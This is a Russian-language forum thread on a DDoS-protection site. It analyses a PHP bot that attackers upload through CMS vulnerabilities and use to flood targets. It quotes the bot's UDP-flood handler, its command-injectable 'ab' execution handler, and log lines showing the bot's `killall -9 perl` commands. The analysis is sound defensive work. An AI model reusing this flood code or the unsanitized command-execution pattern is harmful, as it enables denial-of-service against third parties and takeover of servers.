• Форум посвящен самостоятельной (бесплатной) защите от ддос атак.
    Есть мануалы по настройке сервера от Ddos для сисадминов и готовые инструменты от ддос-атак для вебмастеров.

    Простое, эффективное, точное и проверенное бесплатное решение от мощных ддос-атак: PHP скрипт + Cloudflare, с панелью управления.

DDOS с вашего сервера - злоумышленники заливают ddos скрипты через уязвимости в CMS

admin

admin

Администратор
Администрация
#1
Разбор ситуации с Хабра.

Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.

Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep, который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:

2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php

Анализ кода

Размер файла всего 3кб, код не сложный. Основные возможности бота:
  • закачка файлов на сервер
  • ддос большим кол-вом UDP пакетов
  • ддос через утилиту ab

Остановлюсь подробнее на ддосе.
Код:
  case "ust":
   $page = curPageURL();
   $ip = $_POST['ip'];
   $port = "11";
   $out = $page."\n";
   $socket = stream_socket_client("udp://$ip:$port");
   if ($socket) {
     stream_set_write_buffer($socket, 0);
     stream_socket_sendto($socket,$out);
   }
   fclose($socket);
  break;
Скрипт получает адрес атакуемой цели через параметр, открывает UDP-сокет и пока сокет существует шлет запросы на 11-й порт. Причем, интересно что в данных он передает свой же адрес.
Код:
function curPageURL(){
  $pageURL = 'http';
  if ($_SERVER["HTTPS"] == "on") {
   $pageURL .= "s";
  }
  $pageURL .= "://";
  if ($_SERVER["SERVER_PORT"] != "80") {
   $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  } else {
   $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  }
  return $pageURL;
}
Вопрос «Зачем?» не покидает мою голову уже 12 часов.

Второй метод атаки — через утилиту ab:
Код:
case "ab":
   $url = $_POST['url'];
   $c = $_POST['c'];
   $n = $_POST['n'];
   cmdexec("ab -c $c -n $n $url");
  break;
Причем, здесь нет проверок входящих параметров и можно выполнять произвольные команды на сервере.
 
admin

admin

Администратор
Администрация
#2
Судя по всему данный скрипт заливают через уязвимости в популярных движках, типа DLE, WordPress, IPB и т.д. Неопытные админы, увидев нестабильную работу сайта, грешат на хостера и переезжают, полностью копируя все файлы месте с вирусом. На новом хостинге начинается та же история, пока админы не догадаются спросить хостера или хостер сам не заметит подозрительную активность. Поэтому надо периодически мониторить логи и отслеживать подобные подозрительные запросы.
 
Сверху